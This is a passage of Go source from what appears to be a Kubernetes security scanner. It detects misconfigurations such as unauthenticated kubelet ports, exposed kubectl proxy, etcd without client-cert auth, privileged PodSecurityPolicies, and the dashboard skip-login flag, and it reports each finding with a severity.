{\n\t\t\tcontinue\n\t\t}\n\n\t\tif !strings.Contains(cmds[0], \"kubelet\") {\n\t\t\tcontinue\n\t\t}\n\n\t\tfor _, cmd := range cmds {\n\t\t\tif strings.Contains(cmd, \"--read-only-port=\") {\n\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam: \"Kubelet 'read-only-port' is opened\",\n\t\t\t\t\tValue: cmd,\n\t\t\t\t\tType:  \"Kubelet\",\n\t\t\t\t\tDescribe: \"Kubelet 'read-only-port' is opened and unauthorized, \" +\n\t\t\t\t\t\t\"which has a sensitive data leakage.\",\n\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t}\n\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check 10250 and 10255 unauthorized\n\tfor nodeName, node := range ks.MasterNodes {\n\t\tif ok, ts := checkKubeletUnauthorized(node.InternalIP); ok {\n\t\t\tfor _, t := range ts {\n\t\t\t\tt.Param += fmt.Sprintf(\" | Node Name: '%s' | Node Interal IP: %s\", nodeName, node.InternalIP)\n\t\t\t}\n\n\t\t\tvuln = true\n\t\t\ttlist = append(tlist, ts...)\n\t\t}\n\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc checkKubeletUnauthorized(ip string) (bool, []*threat) {\n\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tports := []int{10255, 10250}\n\n\tclient := &http.Client{\n\t\tTimeout: 30 * time.Second,\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t},\n\t}\n\n\tfor _, port := range ports {\n\t\turl := fmt.Sprintf(\"https://%s:%d/pods/\", ip, port)\n\t\trequest, err := http.NewRequest(\"GET\", url, nil)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tresp, err := client.Do(request)\n\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tcontent, err := ioutil.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif len(content) > 100 && strings.Contains(string(content), \"apiVersion\") {\n\t\t\tth := &threat{\n\t\t\t\tParam: fmt.Sprintf(\"Kubelet port: '%d' unauthorized\", port),\n\t\t\t\tValue: fmt.Sprintf(\"Unauthorized, check the url: %s\", url),\n\t\t\t\tType:  \"Kubelet\",\n\t\t\t\tDescribe: fmt.Sprintf(\"Kubelet port: '%d' unauthorized, \"+\n\t\t\t\t\t\"which leak all the information to the anonymous.\", port),\n\t\t\t\tSeverity: \"high\",\n\t\t\t}\n\n\t\t\tvuln = true\n\t\t\ttlist = append(tlist, th)\n\t\t}\n\n\t\tresp.Body.Close()\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc checkKubectlProxy() (bool, []*threat) {\n\tlog.Printf(config.Yellow(\"Begin Kubectl proxy analyzing\"))\n\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tprocesses, _ := process.Processes()\n\tfor _, ps := range processes {\n\t\tcmds, _ := ps.CmdlineSlice()\n\t\tif len(cmds) < 1 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif !strings.Contains(cmds[0], \"kubectl\") {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Skip the kuebctl command which is not includes proxy\n\t\tif cmds[1] != \"proxy\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tkubectlCommand := strings.Join(cmds[2:], \" \")\n\t\tif len(kubectlCommand) > 50 {\n\t\t\tkubectlCommand = \"kubectl proxy \" + kubectlCommand[:50] + \"...\"\n\t\t} else {\n\t\t\tkubectlCommand = strings.Join(cmds[:], \" \")\n\t\t}\n\n\t\tfor i, cmd := range cmds {\n\t\t\tif strings.Contains(cmd, \"--address\") {\n\t\t\t\tvar address string\n\t\t\t\tif strings.Contains(cmd, \"=\") {\n\t\t\t\t\taddress = strings.Split(cmd, \"=\")[1]\n\t\t\t\t} else {\n\t\t\t\t\taddress = cmds[i+1]\n\t\t\t\t}\n\n\t\t\t\tif address == \"localhost\" || address == \"127.0.0.1\" {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam: \"Kubectl proxy\",\n\t\t\t\t\tValue: kubectlCommand,\n\t\t\t\t\tType:  \"Kubectl\",\n\t\t\t\t\tDescribe: fmt.Sprintf(\"Kubectl proxy command is used \"+\n\t\t\t\t\t\t\"and the exposed address is '%s', \"+\n\t\t\t\t\t\t\"which will cause unauthorized vulnerability.\", address),\n\t\t\t\t\tSeverity: \"medium\",\n\t\t\t\t}\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\n\t\t\t}\n\t\t}\n\n\t\tif !vuln {\n\t\t\tth := &threat{\n\t\t\t\tParam: \"Kubectl proxy\",\n\t\t\t\tValue: kubectlCommand,\n\t\t\t\tType:  \"Kubectl\",\n\t\t\t\tDescribe: \"Kubectl proxy command is used \" +\n\t\t\t\t\t\"which will cause unauthorized vulnerability.\",\n\t\t\t\tSeverity: \"low\",\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc (ks *KScanner) checkEtcd() (bool, []*threat) {\n\tlog.Printf(config.Yellow(\"Begin Etcd analyzing\"))\n\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tpods, err := ks.KClient.CoreV1().Pods(\"kube-system\").List(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn vuln, tlist\n\t}\n\n\tconfigs := map[string]bool{\"client-cert-auth\": false,\n\t\t\"peer-client-cert-auth\": false}\n\t\n\thasEtcd := false\n\n\tfor _, pod := range pods.Items {\n\t\tif !strings.Contains(pod.Name, \"etcd\") {\n\t\t\tcontinue\n\t\t}\n\n\t\thasEtcd = true\n\n\t\tcommands := pod.Spec.Containers[0].Command\n\t\tfor _, command := range commands {\n\t\t\tif command == \"--client-cert-auth=true\" {\n\t\t\t\tconfigs[\"client-cert-auth\"] = true\n\t\t\t}\n\n\t\t\tif command == \"--peer-client-cert-auth=true\" {\n\t\t\t\tconfigs[\"peer-client-cert-auth\"] = true\n\t\t\t}\n\t\t}\n\n\t}\n\n\tif !configs[\"client-cert-auth\"] && hasEtcd {\n\n\t\tth := &threat{\n\t\t\tParam: \"Etcd configuration\",\n\t\t\tValue: \"--client-cert-auth\",\n\t\t\tType:  \"Etcd\",\n\t\t\tDescribe: \"Etcd config lacks `client-cert-auth`, \" +\n\t\t\t\t\"which has a potential container escape.\",\n\t\t\tSeverity: \"high\",\n\t\t}\n\n\t\tif !configs[\"peer-client-cert-auth\"] {\n\t\t\tth.Value += \" --peer-client-cert-auth\"\n\t\t\tth.Describe = \"Etcd config lacks `client-cert-auth` \" +\n\t\t\t\t\"and `peer-client-cert-auth`, which has a potential container escape.\"\n\t\t\tth.Reference = \"https://workbench.cisecurity.org/files/3371\"\n\t\t}\n\n\t\ttlist = append(tlist, th)\n\t\tvuln = true\n\t} else if !configs[\"peer-client-cert-auth\"] && hasEtcd {\n\t\tth := &threat{\n\t\t\tParam: \"Etcd configuration\",\n\t\t\tValue: \"--peer-client-cert-auth\",\n\t\t\tType:  \"Etcd\",\n\t\t\tDescribe: \"Etcd config lacks `peer-client-cert-auth`. \" +\n\t\t\t\t\"All peers attempting to communicate with the etcd server \" +\n\t\t\t\t\"will require a valid client certificate for authentication.\",\n\t\t\tReference: \"https://workbench.cisecurity.org/files/3371\",\n\t\t\tSeverity:  \"medium\",\n\t\t}\n\n\t\ttlist = append(tlist, th)\n\t\tvuln = true\n\t}\n\n\treturn vuln, tlist\n}\n"
  },
  {
    "path": "internal/analyzer/k8s_configuration.go",
    "content": "package analyzer\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"os/exec\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/docker/docker/client\"\n\tversion2 \"github.com/hashicorp/go-version\"\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/kvesta/vesta/pkg/inspector\"\n\t\"github.com/kvesta/vesta/pkg/osrelease\"\n\t\"github.com/kvesta/vesta/pkg/vulnlib\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\t\"k8s.io/client-go/tools/clientcmd\"\n\tcertutil \"k8s.io/client-go/util/cert\"\n)\n\nfunc (ks *KScanner) getNodeInfor(ctx context.Context) error {\n\tnodes, err := ks.KClient.\n\t\tCoreV1().\n\t\tNodes().List(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tks.MasterNodes = make(map[string]*nodeInfo)\n\n\tfor _, node := range nodes.Items {\n\n\t\trolesInfo := &nodeInfo{\n\t\t\tIsMaster:   false,\n\t\t\tInternalIP: node.Status.Addresses[0].Address,\n\t\t}\n\t\tfor role, _ := range node.Labels {\n\t\t\tif strings.HasPrefix(role, \"node-role.kubernetes\") {\n\t\t\t\troleName := strings.Split(role, \"/\")[1]\n\t\t\t\tif roleName == \"master\" {\n\t\t\t\t\trolesInfo.IsMaster = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\trolesInfo.Role = node.Labels\n\t\tks.MasterNodes[node.Name] = rolesInfo\n\n\t}\n\n\treturn nil\n}\n\nfunc (ks *KScanner) dockershimCheck(ctx context.Context) error {\n\tcli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc := inspector.DockerApi{\n\t\tDCli: cli,\n\t}\n\n\tvulnCli := vulnlib.Client{}\n\terr = vulnCli.Init()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tserverVersion, _ := c.GetDockerServerVersion(ctx)\n\tc.DCli.Close()\n\n\t// Checking kernel version\n\tkernelVersion, err := osrelease.GetKernelVersion(context.Background())\n\tif err != nil {\n\t\tlog.Printf(\"failed to get kernel version: %v\", err)\n\t}\n\n\tif ok, tlist := checkKernelVersion(vulnCli, kernelVersion); ok {\n\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t}\n\n\t// Check Docker server version\n\tif ok, tlist := checkDockerVersion(vulnCli, serverVersion); ok {\n\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t}\n\n\t// Check Kubernetes version\n\tif ok, tlist := checkK8sVersion(vulnCli, ks.Version); ok {\n\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t}\n\n\treturn nil\n}\n\n// kernelCheck get /proc/version directly for non-Docker-Desktop\nfunc (ks *KScanner) kernelCheck(ctx context.Context) error {\n\n\tcmd := exec.Command(\"cat\", \"/proc/version\")\n\n\tstdout, err := cmd.Output()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvulnCli := vulnlib.Client{}\n\terr = vulnCli.Init()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tkernelVersion := osrelease.KernelParse(string(stdout))\n\n\tif ok, tlist := checkKernelVersion(vulnCli, kernelVersion); ok {\n\t\tfor _, th := range tlist {\n\t\t\tth.Type = \"K8s kernel version\"\n\t\t}\n\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t}\n\n\tif ok, tlist := checkK8sVersion(vulnCli, ks.Version); ok {\n\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t}\n\n\treturn nil\n}\n\nfunc (ks *KScanner) checkPersistentVolume() error {\n\tlog.Printf(config.Yellow(\"Begin PV and PVC analyzing\"))\n\n\ttlist := []*threat{}\n\tpvs, err := ks.KClient.\n\t\tCoreV1().\n\t\tPersistentVolumes().\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\tlog.Printf(\"list persistentvolumes failed: %v\", err)\n\t\treturn err\n\t}\n\tfor _, pv := range pvs.Items {\n\n\t\t// Check whether using the host mount\n\t\tif pv.Spec.HostPath == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\t//pvPath := filepath.Dir(pv.Spec.HostPath.Path)\n\t\tpvPath := pv.Spec.HostPath.Path\n\n\t\tif isVuln := checkMountPath(pvPath); isVuln {\n\t\t\tth := &threat{\n\t\t\t\tParam: pv.Name,\n\t\t\t\tValue: pvPath,\n\t\t\t\tType:  \"PersistentVolume\",\n\t\t\t\tDescribe: fmt.Sprintf(\"Mount path '%s' is suffer vulnerable of \"+\n\t\t\t\t\t\"container escape and it is in using\", pvPath),\n\t\t\t\tSeverity: \"critical\",\n\t\t\t}\n\n\t\t\t// Check whether it is in using\n\t\t\tif pv.Status.Phase != \"Bound\" {\n\t\t\t\tth.Severity = \"medium\"\n\t\t\t\tth.Describe = fmt.Sprintf(\"Mount path '%s' is suffer vulnerable of \"+\n\t\t\t\t\t\"container escape but the status is '%s'\", pvPath, pv.Status.Phase)\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\t\t}\n\n\t}\n\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\treturn nil\n}\n\ntype RBACVuln struct {\n\tSeverity           string\n\tClusterRoleBinding string\n\tRoleBinding        string\n}\n\n// checkPod check pod privileged and configure of server account\nfunc (ks *KScanner) checkPod(ns string) error {\n\tif ns == \"kubernetes-dashboard\" {\n\t\treturn ks.checkKuberDashboard()\n\t}\n\n\tpods, err := ks.KClient.\n\t\tCoreV1().\n\t\tPods(ns).\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trv := ks.getRBACVulnType(ns)\n\n\tfor _, pod := range pods.Items {\n\n\t\tvList := ks.podAnalyze(pod.Spec, rv, ns, pod.Name)\n\n\t\t// Check pod annotations\n\t\tif ok, tlist := checkPodAnnotation(pod.Annotations); ok {\n\t\t\tvList = append(vList, tlist...)\n\t\t}\n\n\t\tif len(vList) > 0 {\n\t\t\tsortSeverity(vList)\n\t\t\tcon := &container{\n\t\t\t\tContainerName: pod.Name,\n\t\t\t\tNamepsace:     ns,\n\t\t\t\tStatus:        string(pod.Status.Phase),\n\t\t\t\tNodeName:      pod.Spec.NodeName,\n\t\t\t\tThreats:       vList,\n\t\t\t}\n\t\t\tks.VulnContainers = append(ks.VulnContainers, con)\n\t\t}\n\n\t}\n\n\treturn nil\n}\n\nfunc (ks *KScanner) checkPodSecurityPolicy() error {\n\tlog.Printf(config.Yellow(\"Begin PodSecurityPolicy analyzing\"))\n\n\tpsps, err := ks.KClient.\n\t\tPolicyV1beta1().\n\t\tPodSecurityPolicies().\n\t\tList(context.TODO(), metav1.ListOptions{})\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, psp := range psps.Items {\n\n\t\tif psp.Spec.Privileged {\n\t\t\tth := &threat{\n\t\t\t\tParam: fmt.Sprintf(\"Policy Name: %s\", psp.Name),\n\t\t\t\tValue: \"Privileged\",\n\t\t\t\tType:  \"PodSecurityPolicy\",\n\t\t\t\tDescribe: \"PodSecurityPolicy tolerates the privileged module, \" +\n\t\t\t\t\t\"which can make the pod has a potential container escape.\",\n\t\t\t\tSeverity: \"high\",\n\t\t\t}\n\n\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t}\n\n\t\tcapList := \"\"\n\t\tfor _, dcap := range psp.Spec.DefaultAddCapabilities {\n\t\t\tif dcap == \"ALL\" {\n\t\t\t\tcapList = \"ALL\"\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tfor c, _ := range dangerCaps {\n\t\t\t\tif string(dcap) == c {\n\t\t\t\t\tcapList += c + \" \"\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif len(capList) > 0 {\n\t\t\tth := &threat{\n\t\t\t\tParam: fmt.Sprintf(\"Policy Name: %s\", psp.Name),\n\t\t\t\tValue: fmt.Sprintf(\"defaultAddCapabilities: %s\", capList),\n\t\t\t\tType:  \"PodSecurityPolicy\",\n\t\t\t\tDescribe: \"PodSecurityPolicy tolerates the dangerous capabilities, \" +\n\t\t\t\t\t\"which can make the pod has a potential container escape.\",\n\t\t\t\tSeverity: \"high\",\n\t\t\t}\n\n\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t}\n\n\t\tif psp.Spec.HostPID {\n\t\t\tth := &threat{\n\t\t\t\tParam: fmt.Sprintf(\"Policy Name: %s\", psp.Name),\n\t\t\t\tValue: \"HostPID\",\n\t\t\t\tType:  \"PodSecurityPolicy\",\n\t\t\t\tDescribe: \"PodSecurityPolicy is set the `hostPID`, \" +\n\t\t\t\t\t\"which attackers can see all the processes in physical machine.\",\n\t\t\t\tSeverity: \"medium\",\n\t\t\t}\n\n\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t}\n\n\t\tif psp.Spec.HostNetwork {\n\t\t\tth := &threat{\n\t\t\t\tParam: fmt.Sprintf(\"Policy Name: %s\", psp.Name),\n\t\t\t\tValue: \"HostNetwork\",\n\t\t\t\tType:  \"PodSecurityPolicy\",\n\t\t\t\tDescribe: \"PodSecurityPolicy is set `HostNetwork`, \" +\n\t\t\t\t\t\"which will exposed the network of physical machine.\",\n\t\t\t\tSeverity: \"medium\",\n\t\t\t}\n\n\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t}\n\n\t\tif psp.Spec.RunAsUser.Rule == \"RunAsAny\" {\n\t\t\tth := &threat{\n\t\t\t\tParam:    fmt.Sprintf(\"Policy Name: %s\", psp.Name),\n\t\t\t\tValue:    \"RunAsUser\",\n\t\t\t\tType:     \"PodSecurityPolicy\",\n\t\t\t\tDescribe: \"Pod shouldn't be run as arbitrary user.\",\n\t\t\t\tSeverity: \"low\",\n\t\t\t}\n\n\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t}\n\n\t}\n\n\treturn nil\n}\n\nfunc (ks *KScanner) checkDaemonSet(ns string) error {\n\tdas, err := ks.KClient.\n\t\tAppsV1().\n\t\tDaemonSets(ns).\n\t\tList(context.TODO(), metav1.ListOptions{})\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trv := ks.getRBACVulnType(ns)\n\n\tfor _, da := range das.Items {\n\n\t\tp := ks.getPodFromLabels(da.Namespace, da.Spec.Selector.MatchLabels)\n\n\t\tvList := ks.podAnalyze(da.Spec.Template.Spec, rv, ns, p.Name)\n\n\t\tif len(vList) > 0 {\n\n\t\t\tseverity := \"low\"\n\t\t\tfor _, v := range vList {\n\t\t\t\tif config.SeverityMap[severity] < config.SeverityMap[v.Severity] {\n\t\t\t\t\tseverity = v.Severity\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Skip the low risk\n\t\t\tif severity == \"low\" {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tvar containerImages string\n\n\t\t\tfor _, im := range da.Spec.Template.Spec.Containers {\n\t\t\t\timageSplit := strings.Split(im.Image, \"/\")\n\t\t\t\tcontainerImages += strings.Join(imageSplit, \"/ \") + \" | \"\n\t\t\t}\n\n\t\t\tth := &threat{\n\t\t\t\tParam:    fmt.Sprintf(\"name: %s | namespace: %s\", da.Name, da.Namespace),\n\t\t\t\tValue:    fmt.Sprintf(\"images: %s\", containerImages),\n\t\t\t\tType:     \"DaemonSet\",\n\t\t\t\tDescribe: fmt.Sprintf(\"Daemonset has set the unsafe pod \\\"%s\\\".\", p.Name),\n\t\t\t\tSeverity: severity,\n\t\t\t}\n\n\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\n\t\t\t// Check the results whether the daemonset pod has been checked\n\t\t\tks.addExtraPod(da.Namespace, p, vList)\n\t\t}\n\n\t}\n\n\treturn nil\n}\n\n// checkJobsOrCornJob check job and cronjob whether have malicious command\nfunc (ks *KScanner) checkJobsOrCornJob(ns string) error {\n\tjobs, err := ks.KClient.\n\t\tBatchV1().\n\t\tJobs(ns).\n\t\tList(context.TODO(), metav1.ListOptions{})\n\n\trv := ks.getRBACVulnType(ns)\n\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"could not find the requested resource\") {\n\t\t\tgoto cronJob\n\t\t}\n\n\t\treturn err\n\t}\n\n\tfor _, job := range jobs.Items {\n\t\tfor _, con := range job.Spec.Template.Spec.Containers {\n\t\t\tcommand := strings.Join(con.Command, \" \")\n\t\t\tdetect := maliciousContentCheck(command)\n\t\t\tswitch detect.Types {\n\t\t\tcase Confusion:\n\t\t\t\tp := ks.getPodFromLabels(ns, job.Spec.Selector.MatchLabels)\n\n\t\t\t\tvList := ks.podAnalyze(job.Spec.Template.Spec, rv, ns, p.Name)\n\n\t\t\t\tif len(vList) > 1 {\n\t\t\t\t\tseverity := \"low\"\n\t\t\t\t\tfor _, v := range vList {\n\t\t\t\t\t\tif config.SeverityMap[severity] < config.SeverityMap[v.Severity] {\n\t\t\t\t\t\t\tseverity = v.Severity\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif severity == \"low\" {\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam: fmt.Sprintf(\"Job Name: %s Namespace: %s\", job.Name, ns),\n\t\t\t\t\t\tValue: fmt.Sprintf(\"Job pod name: %s\", p.Name),\n\t\t\t\t\t\tType:  \"Job\",\n\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Job Command '%s' finds high risk content(score: %.2f bigger than 0.75), \"+\n\t\t\t\t\t\t\t\"and has dangerous configurations, considering it as a backdoor.\", detect.Plain, detect.Score),\n\t\t\t\t\t\tSeverity: severity,\n\t\t\t\t\t}\n\n\t\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\n\t\t\t\t\tks.addExtraPod(ns, p, vList)\n\t\t\t\t}\n\n\t\t\tdefault:\n\t\t\t\t// ignore\n\t\t\t}\n\t\t}\n\t}\n\ncronJob:\n\n\tcronjobs, err := ks.KClient.\n\t\tBatchV1().\n\t\tCronJobs(ns).\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, cronjob := range cronjobs.Items {\n\t\tfor _, con := range cronjob.Spec.JobTemplate.Spec.Template.Spec.Containers {\n\t\t\tcommand := strings.Join(con.Command, \" \")\n\t\t\tdetect := maliciousContentCheck(command)\n\t\t\tswitch detect.Types {\n\t\t\tcase Confusion:\n\t\t\t\tp := ks.getPodFromLabels(ns, cronjob.Spec.JobTemplate.Spec.Selector.MatchLabels)\n\n\t\t\t\tvList := ks.podAnalyze(cronjob.Spec.JobTemplate.Spec.Template.Spec, rv, ns, p.Name)\n\n\t\t\t\tif len(vList) > 1 {\n\t\t\t\t\tseverity := \"low\"\n\t\t\t\t\tfor _, v := range vList {\n\t\t\t\t\t\tif config.SeverityMap[severity] < config.SeverityMap[v.Severity] {\n\t\t\t\t\t\t\tseverity = v.Severity\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif severity == \"low\" {\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam: fmt.Sprintf(\"CronJob Name: %s Namespace: %s\", cronjob.Name, ns),\n\t\t\t\t\t\tValue: fmt.Sprintf(\"CronJob pod name: %s\", p.Name),\n\t\t\t\t\t\tType:  \"CronJob\",\n\t\t\t\t\t\tDescribe: fmt.Sprintf(\"CronJob Command '%s' finds high risk content(score: %.2f bigger than 0.75), \"+\n\t\t\t\t\t\t\t\"and has dangerous configurations, considering it as a backdoor.\", detect.Plain, detect.Score),\n\t\t\t\t\t\tSeverity: severity,\n\t\t\t\t\t}\n\n\t\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\n\t\t\t\t\tks.addExtraPod(ns, p, vList)\n\t\t\t\t}\n\n\t\t\tdefault:\n\t\t\t\t// ignore\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (ks *KScanner) checkCerts() error {\n\tlog.Printf(config.Yellow(\"Begin cert analyzing\"))\n\n\tkubeConfig, err := clientcmd.LoadFromFile(\"/etc/kubernetes/admin.conf\")\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"no such file or directory\") {\n\t\t\treturn nil\n\t\t}\n\t\treturn err\n\t}\n\n\tauthInfoName := kubeConfig.Contexts[kubeConfig.CurrentContext].AuthInfo\n\tauthInfo := kubeConfig.AuthInfos[authInfoName]\n\tcerts, err := certutil.ParseCertsPEM(authInfo.ClientCertificateData)\n\texpiration := certs[0].NotAfter\n\n\tnow := time.Now()\n\n\tif expiration.Before(now.AddDate(0, 0, 30)) {\n\t\tth := &threat{\n\t\t\tParam:    \"Kubernetes certificate expiration\",\n\t\t\tValue:    fmt.Sprintf(\"expire time: %s\", expiration.Format(\"2006-02-01\")),\n\t\t\tType:     \"certification\",\n\t\t\tDescribe: \"Your certificate will be expired after 30 days.\",\n\t\t\tSeverity: \"medium\",\n\t\t}\n\n\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t}\n\n\treturn nil\n}\n\nfunc checkK8sVersion(cli vulnlib.Client, k8sVersion string) (bool, []*threat) {\n\tvar vuln = false\n\n\ttlist := []*threat{}\n\n\tk, err := version2.NewVersion(k8sVersion)\n\tif err != nil {\n\t\treturn vuln, tlist\n\t}\n\n\t// temporarily skip the openshift version detect\n\tminimumVersion, _ := version2.NewVersion(\"1.18.0\")\n\n\tif k.Compare(minimumVersion) <= 0 {\n\t\treturn vuln, tlist\n\t}\n\n\trows, err := cli.QueryVulnByName(\"kubernetes\")\n\tif err != nil {\n\t\tlog.Printf(\"faield to search database, error: %v\", err)\n\t\treturn vuln, tlist\n\t}\n\n\tfor _, row := range rows {\n\n\t\tif compareVersion(k8sVersion, row.MaxVersion, row.MinVersion) {\n\n\t\t\t// Skip the Jenkins Kubernetes Plugin vulnerability\n\t\t\tif strings.Contains(row.Description, \"Plugin\") {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tth := &threat{\n\t\t\t\tParam: \"kubernetes version\",\n\t\t\t\tValue: k8sVersion,\n\t\t\t\tType:  \"K8s vulnerable version\",\n\t\t\t\tDescribe: fmt.Sprintf(\"Kubernetes version is suffering the %s vulnerablility \"+\n\t\t\t\t\t\"under the version %s, need to update.\", row.CVEID, strings.TrimPrefix(row.MaxVersion, \"=\")),\n\t\t\t\tReference: \"Update Kubernetes.\",\n\t\t\t\tSeverity:  strings.ToLower(row.Level),\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\n\t\t\tvuln = true\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n"
  },
  {
    "path": "internal/analyzer/k8s_dashboard.go",
    "content": "package analyzer\n\nimport (\n\t\"context\"\n\t\"log\"\n\n\trv1 \"k8s.io/api/rbac/v1\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n)\n\n// checkKuberDashboard extra checks Kubernetes dashboard\nfunc (ks *KScanner) checkKuberDashboard() error {\n\tlog.Printf(\"Begin Dashboard analyzing\")\n\n\tdeploys, err := ks.KClient.\n\t\tAppsV1().\n\t\tDeployments(\"kubernetes-dashboard\").\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, dp := range deploys.Items {\n\t\tif dp.Name != \"kubernetes-dashboard\" {\n\t\t\tcontinue\n\t\t}\n\t\targs := dp.Spec.Template.Spec.Containers[0].Args\n\t\tfor _, arg := range args {\n\t\t\tif arg == \"--enable-skip-login\" {\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam:    \"Kubernetes-dashboard --args\",\n\t\t\t\t\tValue:    \"--enable-skip-login\",\n\t\t\t\t\tType:     \"Deployment\",\n\t\t\t\t\tDescribe: \"Staring with --enable-skip-login has a potential sensitive data leakage.\",\n\t\t\t\t\tSeverity: \"low\",\n\t\t\t\t}\n\n\t\t\t\tks.checkDashboardRBAC(th)\n\n\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (ks *KScanner) checkDashboardRBAC(th *threat) {\n\tclrb, err := ks.KClient.\n\t\tRbacV1().\n\t\tClusterRoleBindings().\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn\n\t}\n\tclr, err := ks.KClient.\n\t\tRbacV1().\n\t\tClusterRoles().\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor _, rb := range clrb.Items {\n\n\t\tfor _, sub := range rb.Subjects {\n\t\t\tif sub.Kind != \"ServiceAccount\" || sub.Name != \"kubernetes-dashboard\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, rb.RoleRef.Name); ok {\n\n\t\t\t\t// Check the clusterrole configuration\n\t\t\t\tseverity := tlist[0].Severity\n\t\t\t\tif severity == \"medium\" {\n\t\t\t\t\tth.Severity = \"high\"\n\t\t\t\t\tth.Describe = \"Staring with --enable-skip-login with view permission \" +\n\t\t\t\t\t\t\"has a sensitive data leakage.\"\n\t\t\t\t} else if severity == \"high\" {\n\t\t\t\t\tth.Severity = \"critical\"\n\t\t\t\t\tth.Describe = \"Staring with --enable-skip-login with all permission \" +\n\t\t\t\t\t\t\"will cause a potential container escape.\"\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "internal/analyzer/k8s_pod.go",
